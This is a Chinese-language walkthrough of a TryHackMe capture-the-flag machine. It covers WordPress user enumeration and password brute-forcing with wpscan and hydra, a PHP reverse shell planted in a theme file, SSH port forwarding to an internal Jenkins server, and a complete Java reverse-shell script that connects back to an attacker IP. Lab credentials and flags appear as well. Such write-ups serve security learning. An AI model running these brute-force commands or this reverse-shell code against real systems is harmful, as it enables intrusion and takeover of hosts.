端口扫描

Web

打开网站的根目录是一个Apache的页面

日常扫一下目录,再结合一下nmap扫描的结果

进/blog页面看一下

应该是一个博客界面,根据上面漏洞扫描的结果等可以知道是一个WP搭建的站点,那么能利用的点就很多了,Wpscan什么的也能用。看下有没有可以利用的信息。这个页面似乎没有。

那就直接进登录界面

看看能不能用WPscan列举一下用户

wpscan --url http://internal.thm/wordpress/ --enumerate u 

发现一个admin用户

还有WP使用的主题

没有插件

试着暴力破解一下密码

wpscan --url http://internal.thm/wordpress/ -P /usr/share/wordlists/rockyou.txt -U admin

密码是my2boys

发现成功登录后台

Getshell

在之前可以得到WP的主题是tentyseventeenn,可以知道有一个非常著名的漏洞:在Appearance中可以修改主题

试着将index.php改成reverseshell(注意是PHP)

先在nc中开启监听

http://internal.thm/blog/wp-content/themes/twentyseventeen/index.php

在浏览器中访问index.php,这个主题的文件路径在网上可以搜到,还是比较常用的

接收到了shell

如果主机上有装python可以用以下指令来生成交互性更好的shell,可以使用更多的命令

python -c "import pty;pty.spawn('/bin/bash')"

尝试cd到/home/aubreanna来获取user.txt,发现没有权限

稍微翻了一下,在/opt目录找到了wp-save.txt找到了一个文件,得到aubreanna的密码

aubreanna:bubb13guM!@#123

su aubreanna来切换用户

得到user.txt

THM{int3rna1_fl4g_1}

提权(

接下来就是提权

试了一下sudo -l发现没有任何权限

cat /etc/crontab也没有发现计划任务可以利用

但是,在aubreanna文件夹还有一个jenkins.txt,说有一个jenkins服务在172.17.0.2:8080跑,

ifconfig看一下这台机器的内网IP,那么这个服务也就在内网中的另一台机器上运行

看了一眼WP,发现是用和GameZone那台靶机一样的reverse ssh

ssh -L 9999:172.17.0.2:8080 aubreanna@internal.thm

来将流量转发到本机的9999端口

并在localhost:9999访问jenkins服务器

试了一些弱口令发现不太行,只能上hydra了

老样子,先抓个包

hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 9999 http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid' -V

这里爆了好几次爆不出来,才发现是路径搞错了,在上面burp抓包的结果可以看到登录界面实际上是/j_acegi_security_check,不能单单只看浏览器上的

得到密码为:spongebob

登陆成功后在这里找到一个可以执行脚本的控制器,可以执行Java脚本

在群里师傅那找了个Java的反向shell脚本

String host="10.11.38.245";
int port=1235;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

执行后发现成功连接shell

python -c “import pty;pty.spawn(‘/bin/bash’)”

照常用Python建立一个交互性更好的shell

然后特别抽象的是,在/opt又找到一个note.txt,直接给了root的密码,啊这

root:tr0ub13guM!@#123

在之前的那个shell里su root切换为root

root.txt

THM{d0ck3r_d3str0y3r}

碎碎念

再一次用到了reverse ssh,感觉对原理什么的还得再深入了解一些。然后这个靶机的提权方式也是非常地特别233。这几个靶机打过来总能在hydra的命令上遇到一些错误,真的也是抽象,慢慢解决问题